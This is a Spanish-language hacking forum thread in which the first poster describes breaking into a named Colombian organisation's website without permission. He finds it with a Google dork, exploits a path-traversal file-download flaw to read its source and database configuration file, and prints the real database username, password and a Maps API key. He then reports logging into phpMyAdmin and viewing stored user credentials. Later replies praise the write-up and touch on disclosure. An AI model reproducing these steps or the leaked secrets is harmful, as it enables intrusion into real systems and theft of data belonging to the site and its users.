Autor Tema: Jugando con LFD  (Leído 1109 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado magicbone

  • [L0] Ladrón de espacio en la BD
  • Mensajes: 8
    Ingreso: Septiembre de 2015
  • cl
  • Bienvenidos/as a Bomber Code
    • Ver Perfil
Jugando con LFD
« on: 24 Enero de 2017, 01:45 pm »
Hola!
En la oficina, sin mucho trabajo y un tanto aburrido, me pongo a escribir/hacer a modo de pasar el rato más rápido.
Intentaré ver si logro encontrar alguna vulnerabilidad por ahí que nos permita el acceso a algún tipo de servidor.

Hoy será el turno de Local File Download, LFD es una vulnerabilidad a nivel de programación que permite la descarga de archivos dentro del servidor, supongo que en google sale el tema muy detallado.

https://www.exploit-db.com/papers/13575/

No se me ocurrió nada mejor que inurl, quizá no tan exacto y claramente se podría mejorar más el dork de búsqueda, pero con esto bastará. (googleando saldrán mejores dork de seguro)

inurl:"download.php?file=*.pdf" +pdf



En ves de dar click le doy botón secundario y presiono "inspeccionar", en la etiqueta html aparecerá una propiedad llamada data-href, doy doble click a modo de editarlo, copio el link y me pongo a hacer pruebas, ver si puedo moverme entre los directorios y efectivamente hacer la descarga de los archivos. (otra pestaña del navegador)



No tube muy buenos resultados con ese dork así que lo que cambié un poco:

inurl:"descargar.php?file=*.pdf" +pdf

Y en unos min encontré un par de sitios vulnerables, me decido por este:

https://www.ccoa.org.co/beta/index.php

Link:
https://www.ccoa.org.co/beta/descargar.php?file=plan%20regional%20competitividad%20antioquia-042720-1.pdf&path=../contenidos/images/secciones/




Copio el link en otra ventana del navegador y comienzo a jugar con las rutas, lo que me interesa encontrar es el archivo "index.php" para ver si mediante su código puedo averiguar la ruta del archivo de configuración de la base de datos. En fin... doy con mi primer resultado:

https://www.ccoa.org.co/beta/descargar.php?file=index.php&path=



Veo varios includes en el código, tendré que decidirme por cual comenzar

///FIN CAMBIOS///
 include_once("incluidos_modulos/q1.php");   
 include("incluidos_sitio/encabezado.php");
 include("incluidos_sitio/subencabezado.index.php");

 
 include("incluidos_sitio/contenedor.principal.php");
 
 include("incluidos_sitio/contenedor.php");

 /* include("incluidos_sitio/index.galeria.noticias.php");
 include("incluidos_sitio/index.servicios.php");
 include("incluidos_sitio/index.indicador.php");*/
 include("incluidos_sitio/cuerpo.index.php");
 include("incluidos_sitio/lateral.index.php");
 include("incluidos_sitio/fin.contenedor.php");

 include("incluidos_sitio/contenedor.php");
 include("incluidos_sitio/eventos.destacados.php");
 include("incluidos_sitio/cuerpo.multimedia.index.php");

 include("incluidos_sitio/contenedor.derecha.php");
 /*idinamica:esto lo quite por que esta semana genera descuadre en home de la pagina 1:30 PM 12/agosto/2016 */

 include("incluidos_sitio/fin.contenedor.php");
 include("incluidos_sitio/lateral.index2.php");/* idinamica: por algun motivo ahora eto debe estar en este orden 2:00 12/agosto/2016 */
 include("incluidos_sitio/fin.contenedor.principal.php");
 include("incluidos_sitio/botones.destacados.php");
 include('incluidos_sitio/remate.php');


Creo que me decidiré por  "include("incluidos_sitio/encabezado.php");" , por lo general los programadores ponen los llamados a los archivos de configuración otros en archivos con este tipo de nombres "headear.php", "head.php", "cabeceras.php", etc...

Efectívamente damos con un par de consultas a la base de datos y con otros includes un poco más cercanos (al archivo de conexión a la base de datos) al parecer:



El siguiente archivo que llama mi atención es "varconexion.php", así que veré que tiene dentro, el link quedaría así:

https://www.ccoa.org.co/beta/descargar.php?file=varconexion.php&path=incluidos_modulos/

Y claro, tenemos los datos al parecer:

<?
/*
| ----------------------------------------------------------------- |
CF-informer
Desarrollado por Comprandofacil
http://www.comprandofacil.com/
Copyright (c) 2000 - 2009
Medellin - Colombia
=====================================================================
  Autores:
  Juan Fernando Fernández <consultorweb@comprandofacil.com> - Proyectos
  Juan Felipe Sánchez <graficoweb@comprandofacil.com> - Diseño
  José Fernando Peña <soporteweb@comprandofacil.com> - Mercadeo
=====================================================================
| ----------------------------------------------------------------- |
*/
// Variables de conexion a la base de datos x y con validacion de existena
$rrx="../../";
if ($ruta==1) $rrx="";
if ($ruta==2) $rrx="../beta/";
if ($ruta==3) $rrx="../";
if ($ruta==4) $rrx="../../beta/";
include($rrx."incluidos_modulos/adodb/adodb.inc.php");
include_once($rrx."incluidos_modulos/adodb/adodb-pager.inc.php");
$tipo="mysql";
$database="dbccoa";
$usuario="root";
$clave="";
$servidor="localhost";
$conector=2;
$rutaAbs="http://localhost:8080/ccoa";
$keyx=""; // clave del google maps
if ($conector==2) {
   $database="web_ccoa";
   $usuario="ccoa09site";
   $clave="ZH4UMhY83nKo";
   $servidor="";
   $rutaAbs="";   
   $keyx="ABQIAAAAYSUBCvpmAPfJfWFPj_gZ1BTd1C6ljYS_6pRKcLUbahhbnM0TCxTg3UqCKykRLgNIDHAYkzpIklMWQA"; // clave del google maps
}
$db = NewADOConnection($tipo);
$db->Connect($servidor, $usuario, $clave, $database);
//$db->debug=true;
?>


$usuario="ccoa09site";
$clave="ZH4UMhY83nKo";


Pruebo si tiene phpMyAdmin por defecto y si http://www.ccoa.org.co/phpmyadmin/

Pruebo los datos y listo estamos dentro del administrador de la base de datos:



Revisando un poco, hay credenciales de usuarios, por lo que debe haber un panel de administración, el usuario que tenemos solo tiene privilegios "USAGE"... en realidad hay mucha información, posiblemente se pueda seguir avanzando, pero lo dejaré hasta aquí.

Saludos.











Desconectado Rock Lee

  • Administrador
  • *
  • Mensajes: 1118
    Ingreso: Enero de 2014
  • Sexo: Masculino
  • ar
  • Digitalizando tu Mundo
    • Ver Perfil
    • La nueva era del conocimiento
Re:Jugando con LFD
« Respuesta #1 on: 24 Enero de 2017, 02:15 pm »
Tanto tiempo sin verte @magicbone espero estes genial y el trabajo igualmente... pero el tiempo muerto de aburrimiento muchas veces generan muy buenos trabajos como este genial aporte ademas muy detallado todo, una explicacion impecable. También plantea cosas muy puntuales al momento de evaluarnos como webmasters y que nunca esta de mas mejorar nuestros criterios de seguridad o de evaluacion ante posibles amenazas, lo que me sorprende un poco es que en la contraseña solo use variables de letras con números y no implemente signos, aunque si se explota de otro lado la vulnerabilidad no sirve de mucho una contraseña tan segura. A parte el tema de los permisos se le da es muy importante por que una vez encontrada una vulnerabilidad todo tiende a caer como un castillo de naipes, voy a estar pendiente que nuevo "aburrimiento" planteas que parece van a tener buena pinta :).


Saludos Familia!
« Última Modificación: 24 Enero de 2017, 02:40 pm por Rock Lee »
Enviado desde AdkImode

Desconectado magicbone

  • [L0] Ladrón de espacio en la BD
  • Mensajes: 8
    Ingreso: Septiembre de 2015
  • cl
  • Bienvenidos/as a Bomber Code
    • Ver Perfil
Re:Jugando con LFD
« Respuesta #2 on: 24 Enero de 2017, 02:55 pm »
Hola!
Claro en este caso no importa mucho la variedad de caracteres que tenga la contraseña, tal como dices, por que nos hemos ido por otro camino. El error acá es dejar a la vista el administrador de base de datos (phpMyAdmin) y claramente la programación del archivo download.php.
Por otro lado, lo bueno, es que no permiten el login del usuario "root" y están utilizando otro solo con permisos "usage".

Gracias por tus comentarios, escribiré alguna aventura que tenga por estos días...

Saludos :)





JETY
  • Visitante
Re:Jugando con LFD
« Respuesta #3 on: 24 Enero de 2017, 03:26 pm »
Gracias magicbone, muy bien explicado te quedó. Ahora lo ideal sería notificar al administrador de la web para que corrija el bug. El único problema es que hay administradores que no se lo toman muy bien pero hay otros que agradecen como debe ser.

Desconectado Rock Lee

  • Administrador
  • *
  • Mensajes: 1118
    Ingreso: Enero de 2014
  • Sexo: Masculino
  • ar
  • Digitalizando tu Mundo
    • Ver Perfil
    • La nueva era del conocimiento
Re:Jugando con LFD
« Respuesta #4 on: 24 Enero de 2017, 03:29 pm »
Hola!
Claro en este caso no importa mucho la variedad de caracteres que tenga la contraseña, tal como dices, por que nos hemos ido por otro camino. El error acá es dejar a la vista el administrador de base de datos (phpMyAdmin) y claramente la programación del archivo download.php.
Por otro lado, lo bueno, es que no permiten el login del usuario "root" y están utilizando otro solo con permisos "usage".

Gracias por tus comentarios, escribiré alguna aventura que tenga por estos días...

Saludos :)
Muchas veces es un error por falta de prestar atencion a la seguridad o simplemente no actualizar todo teniendo en cuenta las posibles fallas que surjan, incluso hay sitios informas dicha vulnerabilidad y no le dan la debida importancia... ademas por funcionar bien ya lo dejan sin hacer pruebas al código. Pero como dices no tienen acceso a "root" por suerte sino quien sabe como terminan, y con gusto estare rondando por estos lados esperando leer que aventuras tienes en tus momentos de aburrimiento :D

Gracias magicbone, muy bien explicado te quedó. Ahora lo ideal sería notificar al administrador de la web para que corrija el bug. El único problema es que hay administradores que no se lo toman muy bien pero hay otros que agradecen como debe ser.
Muy pocos son los que agradecen realmente otros ni eso solo tratan reparar la vulnerabilidad y muchos lo toman a mal por "cuestionar" sus trabajos porque son web armadas a pedido (o simplemente copiadas desde plantillas ya armadas), lo que dice que puede generar perdidas para el developer/empresa si se sabe va deja estos agujeros de seguridad. Incluso muchas web de este tipo lo arman de tutoriales encuentran en la red hasta dejando comentarios puestos en los videos que vieron.


Saludos Familia!
« Última Modificación: 24 Enero de 2017, 03:42 pm por Rock Lee »
Enviado desde AdkImode

JETY
  • Visitante
Re:Jugando con LFD
« Respuesta #5 on: 24 Enero de 2017, 05:08 pm »
Son varios los casos de hackers que con su profesionalismo intentan ayudar a empresas encontrando vulnerabilidades y terminan siendo enjuiciados y eso la verdad es muy lamentable ver como por el orgullo de no aceptar que tiene un servidor vulnerable arman un completo caos contra hackers de verdad. Hasta que tiene que llegar un cibercriminal y causar daños mucho mayores para que así a la empresa le importe.

Desconectado Rock Lee

  • Administrador
  • *
  • Mensajes: 1118
    Ingreso: Enero de 2014
  • Sexo: Masculino
  • ar
  • Digitalizando tu Mundo
    • Ver Perfil
    • La nueva era del conocimiento
Re:Jugando con LFD
« Respuesta #6 on: 24 Enero de 2017, 05:21 pm »
Son varios los casos de hackers que con su profesionalismo intentan ayudar a empresas encontrando vulnerabilidades y terminan siendo enjuiciados y eso la verdad es muy lamentable ver como por el orgullo de no aceptar que tiene un servidor vulnerable arman un completo caos contra hackers de verdad. Hasta que tiene que llegar un cibercriminal y causar daños mucho mayores para que así a la empresa le importe.
Sino otra opción que medianamente puede salvarte o justificar tus acciones es tener el Certified Ethical Hacker (CEH) que cuesta su dinero poder obtenerlo reduciendo todo a un papel que dice que sabes y una pequeña posibilidad de poder "analizar" el sitio en busca de vulnerabilidades o mirar que tiene, todo se reduce al mero capitalismo que estamos sujetos.


Saludos Familia!
Enviado desde AdkImode